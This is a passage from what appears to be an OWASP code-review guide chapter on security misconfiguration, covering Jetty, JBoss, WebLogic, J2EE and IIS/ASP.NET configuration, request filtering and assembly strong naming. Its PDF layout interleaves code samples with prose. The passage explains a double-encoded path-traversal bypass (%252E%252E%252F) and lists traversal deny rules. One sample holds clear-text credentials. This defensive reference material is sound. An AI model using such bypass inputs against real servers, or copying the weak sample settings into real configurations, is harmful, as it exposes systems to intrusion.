org.eclipse.jetty.util.security.Password utility). JBoss AS JBoss Application Server, like Jetty, allows password obfuscation (called password masking in JBoss) in its XML configuration files. After using JBoss password utility to create password mask, replace any occurrence of a masked password in XML configuration files with the following annotation. See Masking Passwords in XML Configuration in the JBoss Security Guide. <New id=”DSTest” class=”org.eclipse.jetty.plus.jndi.Resource”> <Arg></Arg> <Arg>jdbc/DSTest</Arg> <Arg> <New class=”com.jolbox.bonecp.BoneCPDataSource”> <Set name=”driverClass”>com.mysql.jdbc.Driver</Set> <Set name=”jdbcUrl”>jdbc:mysql://localhost:3306/foo</Set> <Set name=”username”>dbuser</Set> <Set name=”password”> <Call class=”org.eclipse.jetty.util.security.Password” name=”deobfuscate”> <Arg>OBF:1ri71v1r1v2n1ri71shq1ri71shs1ri71v1r1v2n1ri7</Arg> </Call> </Set> <Set name=”minConnectionsPerPartition”>5</Set> <Set name=”maxConnectionsPerPartition”>50</Set> <Set name=”acquireIncrement”>5</Set> <Set name=”idleConnectionTestPeriod”>30</Set> </New> </Arg> </New> Sample 11.7 <annotation>@org.jboss.security.integration.password.Password (securityDomain=MASK_NAME,methodName=setPROPERTY_NAME) </annotation> Sample 11.8 A5 - Security Misconfiguration 91 Oracle WebLogic WebLogic server supports additional deployment descriptors in the “weblogic.xml” file as shown in table 13. More information on WebLogic additional deployment descriptors may be found at weblogic.xml Deployment Descriptors. For general guidelines on securing web applications running within WebLogic, see the Programming WebLog- ic Security guide and the NSA’s BEA WebLogic Platform Security Guide. 11.5 Programmatic Configuration: J2EE The J2EE API for programmatic security consists of methods of the EJBContext interface and the HttpServle- tRequest interface. These methods allow components to make business-logic decisions based on the security role of the caller or remote user (there are also methods to authenticate users, but that is outside the scope of secure deployment configuration). The J2EE APIs that interact with J2EE security configuration include: • getRemoteUser, which determines the user name with which the client authenticated • isUserInRole, which determines whether a remote user is in a specific security role. • getUserPrincipal, which determines the principal name of the current user and returns a java.security. Use of these programmatic APIs should be reviewed to ensure consistency with the configuration. Specifically, the security-role-ref element should be declared in the deployment descriptor with a role-name subelement containing the role name to be passed to the isUserInRole method. The code in sample 11.9 demonstrates the use of programmatic security for the purposes of programmatic login and establishing identities and roles. This servlet does the following: • displays information about the current user. • prompts the user to log in. • prints out the information again to demonstrate the effect of the login method. Parameter Description externally-defined Role to principal mappings are externally defined in WebLogic Admin Console run-as-principal-name Assign a principal to a role when running as that role run-as-role-assignment security-permission Filter security-permission-spec security-role-assignment Contains the run-as-principal-name descriptor Contains security-permission-spec descriptor Tomcat provides a number of filters which may be configured to incoming requests Specify application permissions [6] Explicitly assign principals to a role Table 13: Weblogic Security Parameters A5 - Security Misconfiguration 92 • Iogs the user out. • prints out the information again to demonstrate the effect of the logout method. package enterprise.programmatic_login; import java.io.*; import java.net.*; import javax.annotation.security.DeclareRoles; import javax.servlet.*; import javax.servlet.http.*; @DeclareRoles(“javaee6user”) public class LoginServlet extends HttpServlet { /** * Processes requests for both HTTP GET and POST methods. * @param request servlet request * @param response servlet response */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(“text/html;charset=UTF-8”); PrintWriter out = response.getWriter(); try { String userName = request.getParameter(“txtUserName”); String password = request.getParameter(“txtPassword”); out.println(“Before Login” + “<br><br>”); out.println(“IsUserInRole?..” + request.isUserInRole(“javaee6user”)+”<br>”); out.println(“getRemoteUser?..” + request.getRemoteUser()+”<br>”); out.println(“getUserPrincipal?..” + request.getUserPrincipal()+”<br>”); out.println(“getAuthType?..” + request.getAuthType()+”<br><br>”); try { request.login(userName, password); } catch(ServletException ex) { out.println(“Login Failed with a ServletException..” + ex.getMessage()); return; } out.println(“After Login...”+”<br><br>”); out.println(“IsUserInRole?..” Sample 11.9 A5 - Security Misconfiguration 93 More detailed information can be found in the Java EE Tutorial: Using Programmatic Security with Web Appli- cations. 11.6 Microsoft IIS ASP.NET / IIS applications use an optional XML-based configuration file, named web.config, to maintain ap- plication configuration settings. This covers issues such as authentication, authorization, error pages, HTTP settings, debug settings, web service settings, etc. Without knowledge of these files, a transactional analysis would be very difficult and not accurate. In IIS 7 there is a configuration system which affects the hierarchy level and how one file can inherit from another. The following figure shows how this will work and the location of each file (Aguilar, 2006) + request.isUserInRole(“javaee6user”)+”<br>”); out.println(“getRemoteUser?..” + request.getRemoteUser()+”<br>”); out.println(“getUserPrincipal?..” + request.getUserPrincipal()+”<br>”); out.println(“getAuthType?..” + request.getAuthType()+”<br><br>”); request.logout(); out.println(“After Logout...”+”<br><br>”); out.println(“IsUserInRole?..” + request.isUserInRole(“javaee6user”)+”<br>”); out.println(“getRemoteUser?..” + request.getRemoteUser()+”<br>”); out.println(“getUserPrincipal?..” + request.getUserPrincipal()+”<br>”); out.println(“getAuthType?..” + request.getAuthType()+”<br>”); } finally { out.close(); } } ... } machine.config (root) web.config ApplicationHost.config windows\system32\intsrv web.config c:\inetpub\wwwroot http://localhost web.config d:\MyApp http://localhost/MyApp Figure 7: IIS Configuration Files A5 - Security Misconfiguration 94 It is possible to provide a file web.config at the root of the virtual directory for a web application. If the file is absent, the default configuration settings in machine.config will be used. If the file is present, any settings in web.config will override the default settings. Many of the important security settings are not set in the code, but in the framework configuration files. Knowledge of the framework is of paramount importance when reviewing framework-based applications. Some examples of framework specific parameters in the web.config file are shown in table 14. 11.7 Framework Specific Configuration: Microsoft IIS Security features can be configured in IIS using the Web.config (application level) or ApplicationHost.config (server level) file, in the <system.webServer><security> section. The types of features that may be configured include: • Permitted authentication methods • Authorization rules • Request filters and limits • Use of SSL • Source IP address filtering • Error handling The Web.config and ApplicationHost.config files should be included in code review. The <system.web- <authentication mode=”Forms”> <forms name=”name” loginUrl=”url” protection=”Encryption” timeout=”30” path=”/” requireSSL=”true|” slidingExpiration=”false”> <credentials passwordFormat=”Clear”> <user name=”username” password=”password”/> </credentials> </forms> <passport redirectUrl=”internal”/> </authentication> Sample 11.10 Parameter Description authentication mode The default authentication mode is ASP.NET forms-based authentication. loginUrl Specifies the URL where the request is redirected for login if no valid authentication cookie is found. protection timeout Specifies that the cookie is encrypted using 3DES or DES but DV is not performed on the cookie. Beware of plaintext attacks. Cookie expiry time in minutes. Table 14: Parameters In The Web.config File A5 - Security Misconfiguration 95 Server><security> sections should be reviewed to ensure all security configuration is as expected. For guidelines on securing the overall configuration of Microsoft IIS, see the IIS supports basic, client certificate, digest, IIS client certificate, and Windows authentication methods. They are configured in the <system.web- Server><security><authentication> section. The example in sample 11.11 disables anonymous authentication for a site named MySite, then enables both basic authentication and windows authentication for the site. IIS authorization configuration allows specification of users access to the site or server and is configured in the <system.webServer><security><authorization> section. The configuration in sample 11.12 removes the default IIS authorization settings, which allows all users access to Web site or application content, and then configures an authorization rule that allows only users with ad- ministrator privileges to access the content. IIS supports filtering, including enforcing limits, on incoming HTTP requests. Table 15 shows many of the IIS security parameters that can be set. <location path=”MySite”> <system.webServer> <security> <authentication> <anonymousAuthentication enabled=”false” /> <basicAuthentication enabled=”true” defaultLogonDomain=”MySite” /> <windowsAuthentication enabled=”true” /> </authentication> </security> </system.webServer> </location> Sample 11.11 <configuration> <system.webServer> <security> <authorization> <remove users=”*” roles=”” verbs=”” /> <add accessType=”Allow” users=”” roles=”Administrators” /> </authorization> </security> </system.webServer> </configuration Sample 11.12 A5 - Security Misconfiguration 96 These parameters are configured in the <system.webServer><security><requestFiltering> section. The ex- ample in sample 11.13: • Denies access to two URL sequences. The first sequence prevents directory transversal and the second se- quence prevents access to alternate data streams. • Sets the maximum length for a URL to 2KB and the maximum length for a query string to 1KB. <configuration> <system.webServer> <security> <requestFiltering> <denyUrlSequences> <add sequence=”..” /> <add sequence=”:” /> </denyUrlSequences> <fileExtensions allowUnlisted=”false” /> <requestLimits maxUrl=”2048” maxQueryString=”1024” /> <verbs allowUnlisted=”false” /> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.13 Parameter Function denyUrlSequences A list of prohibited URL patterns fileExtensions Allowed or prohibited file extensions hiddenSegments requestLimits verbs alwaysAllowedUrls alwaysAllowedQueryStrings denyQueryStringSequences filteringRules URLs that cannot be browsed URL, content, query string, and HTTP header length limits Allowed or prohibited verbs URLs always permitted Query strings always allowed Prohibited query strings Custom filtering rules Table 15: IIS Security Parameters A5 - Security Misconfiguration 97 • Denies access to unlisted file name extensions and unlisted HTTP verbs. IIS allows specifying whether SSL is supported, is required, whether client authentication is supported or re- quired, and cipher strength. It is configured in the <system.webServer><security><access> section. The ex- ample in figure A5.13 specifies SSL as required for all connections to the site MySite. IIS allows restrictions on source IP addresses or DNS names. It is configured in the <system.webServer><se- curity><ipSecurity> section as shown in sample 11.15 where the example configuration denies access to the IP address 192.168.100.1 and to the entire 169.254.0.0 network: Detailed information on IIS security configuration can be found at IIS Security Configuration. Specific security feature configuration information can be found at Authentication, Authorization, SSL, Source IP, Request Filter- ing, and Custom Request Filtering[12]. 11.8 Programmatic Configuration: Microsoft IIS Microsoft IIS security configuration can also be programmatically set from various languages: • appcmd.exe set config • C# • Visual Basic • JavaScript For example, disabling anonymous authentication for a site named MySite, then enabling both basic authenti- cation and windows authentication for the site (as done via configuration in the section above) can be accom- <location path=”MySite”> <system.webServer> <security> <access sslFlags=”ssl”> </security> </system.webServer> </location> Sample 11.14 <location path=”Default Web Site”> <system.webServer> <security> <ipSecurity> <add ipAddress=”192.168.100.1” /> <add ipAddress=”169.254.0.0” subnetMask=”255.255.0.0” /> </ipSecurity> </security> </system.webServer> </location> Sample 11.15 A5 - Security Misconfiguration 98 plished from the command line using the commands in figure sample 11.16. Alternatively the same authentication setup can be coded programmatically as in sample 11.17. When reviewing source code, special attention should be paid to configuration updates in security sections. 11.9 Further IIS Configurations Filtering Requests and URL Rewriting appcmd.exe set config “MySite” -section:system.webServer/security/authentication /anonymousAuthentication /enabled:”False” /commit:apphost appcmd.exe set config “MySite” -section:system.webServer/security/authentication /basicAuthentication /enabled:”True” /commit:apphost appcmd.exe set config “MySite” -section:system.webServer/security/authentication /windowsAuthentication /enabled:”True” /commit:apphost Sample 11.16 using System; using System.Text; using Microsoft.Web.Administration; internal static class Sample { private static void Main() { using(ServerManager serverManager = new ServerManager()) { Configuration config = serverManager.GetApplicationHostConfiguration(); ConfigurationSection anonymousAuthenticationSection = config.GetSection(“system.webServer/security/authentication /anonymousAuthentication”, “MySite”); anonymousAuthenticationSection[“enabled”] = false; ConfigurationSection basicAuthenticationSection = config.GetSection(“system.webServer/security/authentication /basicAuthentication”, “MySite”); basicAuthenticationSection[“enabled”] = true; ConfigurationSection windowsAuthenticationSection = config.GetSection(“system.webServer/security/authentication /windowsAuthentication”, “MySite”); windowsAuthenticationSection[“enabled”] = true; serverManager.CommitChanges(); } } } Sample 11.17 A5 - Security Misconfiguration 99 Request Filtering was introduced in IIS7 and it has replaced the functionality UrlScan add-on for IIS 6.0. This built-in security feature allows to filter undesired URL request but it is also possible to configure different kinds of filtering. To begin with, it is important to understand how the IIS pipeline works when a request is done. The following diagram shows the order in these modules HTTP RESPONSE BEGIN REQUEST AUTHENTICATE REQUEST AUTHORIZE REQUEST RESOLVE CACHE END REQUEST REQUEST FILTERING (HIGH PRIORITY) URL REWRITE MODULE (MEDIUM PRIORITY) HTTP REQUEST (Yakushev, 2008) Figure 8: IIS Request FilteringFiles A5 - Security Misconfiguration 100 Request filtering can be setup through the IIS interface or on the web.config file. Example: (Yakushev, 2008) <configuration> <system.webServer> <security> <requestFiltering> <denyUrlSequences> <add sequence=”..” /> <add sequence=”:” /> </denyUrlSequences> <fileExtensions allowUnlisted=”false” /> <requestLimits maxUrl=”2048” maxQueryString=”1024” /> <verbs allowUnlisted=”false” /> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.18 using System; using System.Text; using Microsoft.Web.Administration; internal static class Sample { private static void Main() { using (ServerManager serverManager = new ServerManager()) { Configuration config = serverManager.GetWebConfiguration(“Default Web Site”); ConfigurationSection requestFilteringSection = config.GetSection(“system.webServer/security /requestFiltering”); ConfigurationElementCollection denyUrlSequencesCollection = requestFilteringSection.GetCollection(“denyUrlSequences”); ConfigurationElement addElement = denyUrlSequencesCollection.CreateElement(“add”); addElement[“sequence”] = @”..”; denyUrlSequencesCollection.Add(addElement); ConfigurationElement addElement1 = denyUrlSequencesCollection.CreateElement(“add”); addElement1[“sequence”] = @”:”; denyUrlSequencesCollection.Add(addElement1); ConfigurationElement addElement2 = denyUrlSequencesCollection.CreateElement(“add”); addElement2[“sequence”] = @”\”; denyUrlSequencesCollection.Add(addElement2); Sample 11.19 A5 - Security Misconfiguration 101 This can also be done through the application code, for example: (Yakushev, 2008) Filtering Double - Encoded Requests This attack technique consists of encoding user request parameters twice in hexadecimal format in order to bypass security controls or cause unexpected behavior from the application. It’s possible because the web- server accepts and processes client requests in many encoded forms. By using double encoding it’s possible to bypass security filters that only decode user input once. The second decoding process is executed by the backend platform or modules that properly handle encoded data, but don’t have the corresponding security checks in place. Attackers can inject double encoding in pathnames or query strings to bypass the authentication schema and security filters in use by the web application. There are some common character that are used in Web applications attacks. For example, Path Traversal at- tacks use “../” (dot-dot-slash) , while XSS attacks use “<” and “>” characters. These characters give a hexadeci- mal representation that differs from normal data. For example, “../” (dot-dot-slash) characters represent %2E%2E%2f in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The result from the double encod- ing process ”../”(dot-dot-slash) would be %252E%252E%252F: • The hexadecimal encoding of “../” represents “%2E%2E%2f” • Then encoding the “%” represents “%25” • Double encoding of “../” represents “%252E%252E%252F” If you do not want IIS to allow doubled-encoded requests to be served, use the following (IIS Team,2007): serverManager.CommitChanges(); } } } <configuration> <system.webServer> <security> <requestFiltering allowDoubleEscaping=”false”> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.20 A5 - Security Misconfiguration 102 Filter High Bit Characters This allows or rejects all requests to IIS that contain non-ASCII characters . When this occurs error code 404.12. is displayed to the user . The UrlScan (IIS6 add-on) equivalent is AllowHighBitCharacters. Filter Based on File Extensions Using this filter you can allow IIS to a request based on file extensions, the error code logged is 404.7. The Al- lowExtensions and DenyExtensions options are the UrlScan equivalents. Filter Based on Request Limits When IIS rejects a request based on request limits, the error code logged is: • 404.13 if the content is too long. • 404.14 if the URL is too large. • 404.15 if the query string is too long. This can be used to limit a long query string or too much content sent to an application which you cannot change the source code to fix the issue. <configuration> <system.webServer> <security> <requestFiltering allowHighBitCharacters=”true”> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.21 <configuration> <system.webServer> <security> <requestFiltering> <fileExtensions allowUnlisted=”true” > <add fileExtension=”.asp” allowed=”false”/> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.22 A5 - Security Misconfiguration 103 Filter by Verbs When IIS reject a request based on this feature, the error code logged is 404.6. This corresponds to the UseAl- lowVerbs, AllowVerbs, and DenyVerbs options in UrlScan. In case you want the application to use only certain type of verb, it is necessary to firt set the allowUnlisted to ‘false’ and then set the verbs that you would like to allow (see example) Filter Based on URL Sequences This feature defines a list of sequences that IIS can reject when it is part of a request. When IIS reject a request for this feature, the error code logged is 404.5.This corresponds to the DenyUrlSequences feature in UrlScan. This is a very powerful feature. This avoids a given character sequence from ever being attended by IIS: <configuration> <system.webServer> <security> <requestFiltering> <requestLimits maxAllowedContentLength=”30000000” maxUrl=”260” maxQueryString=”25” /> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.23 <configuration> <system.webServer> <security> <requestFiltering> <verbs allowUnlisted=”false”> <add verb=”GET” allowed=”true” /> </verbs> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.24 <configuration> <system.webServer> Sample 11.25 A5 - Security Misconfiguration 104 Filter Out Hidden Segments In case you want IIS to serve content in binary directory but not the binary, you can apply this configuration. Password protection and sensitive information The web.config files might include sensitive information in the connection strings such as database passwords, mail server user names among others. Sections that are required to be encrypted are: • <appSettings>. This section contains custom application settings. • <connectionStrings>. This section contains connection strings. • <identity>. This section can contain impersonation credentials. • <sessionState>. This section contains the connection string for the out-of-process session state provider. Passwords and user names contained in a <connectionstring> section should be encrypted. ASP.NET allows you to encrypt this information by using the functionality aspnet_regiis .This utility is found in the installed .NET framework under the folder %windows%\Microsoft.NET\Framework\v2.0.50727 You can specify the section you need to encrypt by using the command: aspnet_regiis -pef sectiontobeencryoted Encrypting sections in Web.Config file Even though encrypting sections is possible, not all sections can be encrypted, specifically sections that are <security> <requestFiltering> <denyUrlSequences> <add sequence=”..”/> </denyUrlSequences> </requestFiltering> </security> </system.webServer> </configuration> <configuration> <system.webServer> <security> <requestFiltering> <hiddenSegments> <add segment=”BIN”/> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> Sample 11.26 A5 - Security Misconfiguration 105 read before user code is run. The following sections cannot be encrypted: • <processModel> • <runtime> • <mscorlib> • <startup> • <system.runtime.remoting> • <configProtectedData> • <satelliteassemblies> • <cryptographySettings> • <cryptoNameMapping> • <cryptoClasses> Machine-Level RSA key container or User-Level Key Containers Encrypting a single file using machine-level RSA key has its disadvantages when this file is moved to other servers. In this case, user-level RSA key container is strongly advised. The RSAProtectedConfigurationProvider supports machine-level and user-level key containers for key storage. RSA machine key containers are stored in the following folder: \Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys User Key Container When the application that needs to be protected is in a shared hosting environment and protection of sensi- tive data cannot be accessible to other applications, the user key container is strongly recommended. In this case each application should have a separate identity. RSA user-level key containers are stored in the following folder: \Documents and Settings\{UserName}\Application Data\Microsoft\Crypto\RSA IIS configurations Depending on the version of IIS that must be configured, it is important to revise some of its settings which can comprise security in the server. Trust level The trust level is a set of Code Access Security permissions granted to an application within a hosting environ- ment. These are defined using policy files. Depending on the trust level that must be configured, it is possible to grant FULL, HIGH, MEDIUM, LOW or MINIMAL level. The ASP.NET host does not apply any additional policy to applications that are running at the full-trust level. Example: <system.web> <securityPolicy> <trustLevel name=”Full” policyFile=”internal”/> </securityPolicy> </system.web> Sample 11.27 A5 - Security Misconfiguration 106 Lock Trust Levels In the .NET framework web.config file is possible to lock applications from changing their trust level This file is found at: C:\Windows\Microsoft.NET\Framework\{version}\CONFIG The following example shows how to lock 2 different application configuration trust levels (MSDN, 2013) References • Yakushev Ruslan , 2008 “IIS 7.0 Request Filtering and URL Rewriting “ available at http://www.iis.net/learn/ extensions/url-rewrite-module/iis-request-filtering-and-url-rewriting (Last accessed on 14 July, 2013) • OWASP, 2009 “Double Encoding” available at https://www.owasp.org/index.php/Double_Encoding (Last ac- cessed on 14 July, 2013) • IIS Team, 2007 “Use Request Filtering “ available at http://www.iis.net/learn/manage/configuring-security/ use-request-filtering (Last accessed on 14 July, 2013) • Aguilar Carlos ,2006 “The new Configuration System in IIS 7” available at http://blogs.msdn.com/b/carlosag/ archive/2006/04/25/iis7configurationsystem.aspx (Last accessed on 14 July, 2013) • MSDN, 2013 . How to: Lock ASP.NET Configuration Settings available at http://msdn.microsoft.com/en-us/ library/ms178693.aspx (Last accessed on 14 July, 2013) 11.10 Strongly Named Assemblies During the build process either QA or Developers are going to publish the code into executable formats. Usu- ally this consists of an exe or and one or several DLL’s. During the build/publish process a decision needs to be made to sign or not sign the code. Signing your code is called creating “strong names” by Microsoft. If you create a project using Visual Studio and use Microsofts “Run code analysis” most likely your will encounter a Microsoft design error if the code is not strong named; “Warning 1 CA2210 : Microsoft.Design : Sign ‘xxx.exe’ with a strong name key.” <configuration> <location path=”application1” allowOverride=”false”> <system.web> <trust level=”High” /> </system.web> </location> <location path=”application2” allowOverride=”false”> <system.web> <trust level=”Medium” /> </system.web> </location> </configuration> Sample 11.28 A5 - Security Misconfiguration 107 Code review needs to be aware if strong naming is being used, benefits and what threat vectors strong naming helps prevent or understand the reasons for not using strong naming. A strong name is a method to sign an assembly’s identity using its text name, version number, culture informa- tion, a public key and a digital signature. (Solis, 2012) • Strong naming guarantees a unique name for that assembly. • Strong names protect the version lineage of an assembly. A strong name can ensure that no one can pro- duce a subsequent version of your assembly. Users can be sure that a version of the assembly they are loading comes from the same publisher that created the version the application was built with. The above two points are very important if you are going to use Global Assembly Cache (GAC). • Strong names provide a strong integrity check and prevent spoofing. Passing the .NET Framework security checks guarantees that the contents of the assembly have not been changed since it was built. Note, however, that strong names in and of themselves do not imply a level of trust like that provided, for example, by a digital signature and supporting certificate. If you use the GAC assemblies remember the assem- blies are not verified each time they load since the GAC by design is a locked-down, admin-only store. What strong names can’t prevent is a malicious user from stripping the strong name signature entirely, modi- fying the assembly, or re-signing it with the malicious user’s key. The code reviewer needs to understand how the strong name private key will be kept secure and managed. This is crucible if you decide strong name signatures are a good fit for your organization. If principle of least privilege is used so code is not or less susceptible to be access by the hacker and the GAC is not being used strong names provides less benefits or no benefits at all. How to use Strong Naming Signing tools In order to create a strong name assembly there are a set of tools and steps that you need to follow Using Visual Studio In order to use Visual Studio to create a Strongly Named Assembly, it is necessary to have a copy of the public/ private key pair file. It is also possible to create this pair key in Visual Studio In Visual Studio 2005, the C#, Visual Basic, and Visual J# integrated development environments (IDEs) allow you to generate key pairs and sign assemblies without the need to create a key pair using Sn.exe (Strong Name Tool). These IDEs have a Signing tab in the Project Designer. . The use of the AssemblyKeyFileAttribute to identify key file pairs has been made obsolete in Visual Studio 2005. The following figure illustrates the process done by the compiler A5 - Security Misconfiguration 108 Using Strong Name tool The Sign Tool is a command-line tool that digitally signs files, verifies signatures in files, or time stamps files. The Sign Tool is not supported on Microsoft Windows NT, Windows Me, Windows 98, or Windows 95. In case you aren’t using the “Visual Studio Command Prompt” (Start >> Microsoft Visual Studio 2010 >> Visual Studio Tools >> Visual Studio Command Prompt (2010)) you can locate sn.exe at %ProgramFiles%\Microsoft SDKs\Windows\v7.0A\bin\sn.exe The following command creates a new, random key pair and stores it in keyPair.snk. sn -k keyPair.snk The following command stores the key in keyPair.snk in the container MyContainer in the strong name CSP. sn -i keyPair.snk MyContainer The following command extracts the public key from keyPair.snk and stores it in publicKey.snk. sn -p keyPair.snk publicKey.snk The following command displays the public key and the token for the public key contained in publicKey.snk. sn -tp publicKey.snk The following command verifies the assembly MyAsm.dll. sn -v MyAsm.dll The following command deletes MyContainer from the default CSP. sn -d MyContainer Using the Assembly Linker(AI.exe) C#VB COMPILER • ASSEMBLY BINARY • SIMPLE NAME • VERSION NUMBER • CULTURE INFO PUBLIC KEY PRIVATE KEY ASSEMBLY Manifest Version Number Culture Info Public Key Simple Name Metadata CIL Digital Signature Figure 9: C# Strong Naming A5 - Security Misconfiguration 109 This tool is automatically installed with Visual Studio and with the Windows SDK. To run the tool, we recom- mend that you use the Visual Studio Command Prompt or the Windows SDK Command Prompt (CMD Shell). These utilities enable you to run the tool easily, without navigating to the installation folder. For more informa- tion, see Visual Studio and Windows SDK Command Prompts. If you have Visual Studio installed on your computer: On the taskbar, click Start, click All Programs, click Visual Studio, click Visual Studio Tools, and then click Visual Studio Command Prompt. -or- If you have the Windows SDK installed on your computer: On the taskbar, click Start, click All Programs, click the folder for the Windows SDK, and then click Command Prompt (or CMD Shell). At the command prompt, type the following: al sources options Remarks All Visual Studio compilers produce assemblies. However if you have one or more modules (metadata without a manifest) you can use Al.exe to create an assembly with the manifest in a separate file. To install assemblies in the cache, remove assemblies from the cache, or list the contents of the cache, use the Global Assembly Cache Tool (Gacutil.exe). The following command creates an executable file t2a.exe with an assembly from the t2.netmodule module. The entry point is the Main method in MyClass. al t2.netmodule /target:exe /out:t2a.exe /main:MyClass.Main Use Assembly attributes You can insert the strong name information in the code directly. For this, depending on where the key file is located you can use AssemblyKeyFileAttribute or AssemblyKeyNameAttribute Use Compiler options :use /keyfile or /delaysign Safeguarding the key pair from developers is necessary to maintain and guarantee the integrity of the assem- blies. The public key should be accessible, but access to the private key is restricted to only a few individuals. When developing assemblies with strong names, each assembly that references the strong-named target as- sembly contains the token of the public key used to give the target assembly a strong name. This requires that the public key be available during the development process. You can use delayed or partial signing at build time to reserve space in the portable executable (PE) file for the strong name signature, but defer the actual signing until some later stage (typically just before shipping the assembly). You can use /keyfile or /delaysign in C# and VB.NET (MSDN) References • http://msdn.microsoft.com/en-us/library/wd40t7ad(v=vs.80).aspx • http://msdn.microsoft.com/en-us/library/c405shex(v=vs.110).aspx • http://msdn.microsoft.com/en-us/library/k5b5tt23(v=vs.80).aspx A5 - Security Misconfiguration 110 • http://msdn.microsoft.com/en-us/library/t07a3dye(v=vs.80).aspx • http://msdn.microsoft.com/en-us/library/t07a3dye(v=vs.110).aspx 11.10 Round Tripping Round Tripping is a reverse engineering technique that allows and attacker to decompile an assembly from a certain application. Ildasm.exe can be used for this purpose, and ILAsm is used to recompiled the assembly. The MSIL Disassembler( Ildasm.exe) is a companion tool to the MSIL Assembler (Ilasm.exe). Ildasm.exe takes a portable executable (PE) file that contains Microsoft intermediate language (MSIL) code and creates a text file suitable as input to Ilasm.exe. This tool is automatically installed with Visual Studio and with the Windows SDK. The importance of Obfuscation As mentioned before, Round Tripping is a technique used to reverse engineer assemblies. Therefore, if you want to avoid your assemblies being reversed engineered or even worse, that the code is victim of malicious manipulation using the Ildasm and Ilasm tools, then it is advisable to apply it. There are different kinds of prod- ucts that can be used for this purpose such as DeepSea, Crypto or Dotfuscator. Using Obfuscation The most effective technique used to avoid reverse engineering and tampering of assemblies is the use of Obfuscation. Visual Studio contains a version of Dotfuscator. This program is accessible by choosing on the VS menu, Tools Dotfuscator(Community Edition menu command). Note: This tools is not available in Express versions To obfuscate your assemblies: • Build the project in VS Studio • Tools--> Dotfuscator Community Edition • A screen prompts asking for which project type, choose ‘Creat New Project’ and click OK • On the Input tab of the Dotfuscator interface, click ‘Browse and Add assembly to list’ Browse for the compiled application ASPNetConfigs Introduction Securing resources in ASP.NET applications is a combination of configuration settings in the Web.config file but also, it’s important to remember that the IIS configurations play also a big part on this. It’s an integrated approach which provides a total framework of security. The following highlights the most important aspects of ASP.NET configuration settings within the web.config file. For a total overview see chapter ASP.NET security (https://www.owasp.org/index.php/CRV2_Framework- SpecIssuesASPNet) Secure Configuration Values Sensitive Information saved in config files should be encrypted. Encryption keys stored in the machineKey element for example or connectionstrings with username and passwords to login to database. Lock ASP.NET Configuration settings You can lock configuration settings in ASP.NET configuration files (Web.config files) by adding an allowOver- ride attribute to a location element A5 - Security Misconfiguration 111 Configure directories using Location Settings Through the <location> element you can establish settings for specific folders and files. The Path attribute is used to specify the file or subdirectory. This is done in the Web.config file example: Configure exceptions for Error Code handling Showing and handling the correct error code when a user sends a bad request or invalid parameters is an im- portant configuration subject. Logging these errors are also an excellent help when analyzing potential attacks to the application. It is possible to configure these errors in the code or in the Web.Config file The HttpException method describes an exception that occurred during the processing of HTTP requests.For example: or in the Web.config file: <location path=”.” > <section1 .../> <section2 ... /> </location> <location path=”Default Web Site” > <section1 … /> <section2 … /> </location <location path=”Default Web Site/MyApplication/Admin/xyz.html” > <section1 ... /> <section2 ... /> </location> Sample 11.29 if (string.IsNullOrEmpty(Request[“id”])) throw new HttpException(400, “Bad request”); Sample 11.30 <configuration> <system.web> <customErrors mode=”On” defaultRedirect=”ErrorPage.html” redirectMode=”ResponseRewrite”> Sample 11.31 A5 - Security Misconfiguration 112 Input validation Anything coming from external sources can be consider as input in a web application. Not only the user in- serting data through a web form, but also data retrieved from a web service or database, also headers sent from the browsers fall under this concept. A way of defining when input is safe can be done through outlining a trust boundary. Defining what is known as trust boundary can help us to visualize all possible untrusted inputs. One of those are user input.ASP.NET has different types of validations depending on the level of control to be applied. By default, web pages code is validated against malicious users. The following is a list types of validations used (MSDN, 2013): References MSDN, 2013 “Securing ASP.NET Configurations” available at http://msdn.microsoft.com/en-us/library/ms178699%28v=vs.100%29.aspx (Last Viewed, 25th July 2013) 11.11 .NET Authentication Controls In the .NET, there are Authentication tags in the configuration file. The <authentication> element configures the authentication mode that your applications use. The appropriate authentication mode depends on how your application or Web service has been designed. The default Machine.config setting applies a secure Win- dows authentication default as shown below authentication Attributes:mode=”[Windows|Forms|Passport|None]” <authentication mode=”Windows” /> <error statusCode=”400” redirect=”BadRequest.html” /> <error statusCode=”404” redirect=”FileNotFound.html” /> </customErrors> </system.web> </configuration> Type of validation Control to use Required entry RequiredFieldValidator Comparison to a value CompareValidator Description Ensures that the user does not skip an entry. Compares a user’s entry against a constant value, against the value of another control (using a comparison operator such as less than, equal, or greater than), or for a specific data type. Range checking RangeValidator Checks that a user’s entry is between specified lower and upper boundaries. You can check ranges within pairs of numbers, alphabetic characters, and dates. Pattern matching RegularExpressionValidator Checks that the entry matches a pattern defined by a regular expression. This type of validation enables you to check for predictable sequences of characters, such as those in e-mail addresses, telephone numbers, postal codes, and so on. User-defined CustomValidator Checks the user’s entry using validation logic that you write yourself. This type of validation enables you to check for values derived at run time. Figure 10: IIS Input Validation A5 - Security Misconfiguration 113 Forms Authentication Guidelines To use Forms authentication, set mode=“Forms” on the <authentication> element. Next, configure Forms authentication using the child <forms> element. The following fragment shows a secure <forms> authentication element configuration: Use the following recommendations to improve Forms authentication security: • Partition your Web site. • Set protection=“All”. • Use small cookie time-out values. • Consider using a fixed expiration period. • Use SSL with Forms authentication. • If you do not use SSL, set slidingExpiration = “false”. • Do not use the <credentials> element on production servers. • Configure the <machineKey> element. • Use unique cookie names and paths. Classic ASP For classic ASP pages, authentication is usually performed manually by including the user information in ses- sion variablesafter validation against a DB, so you can look for something like: Session (“UserId”) = UserName Session (“Roles”) = UserRoles Code Review .Net Manage Code .NET Managed code is less vulnerable to common vulnerabilities found in unmanaged code such as Buffer Overflows and memory corruption however there could be issues in the code that can affect performance and security. The following is a summary of the recommended practices to look for during the code review. Also, it is worth mentioning some tools that can make the work easier on this part and they can help you understand and pin point flaws in your code Code Access Security This supports the execution of semi-trusted code, preventing several forms of security threats. The following is a summary of possible vulnerabilities due to improper use 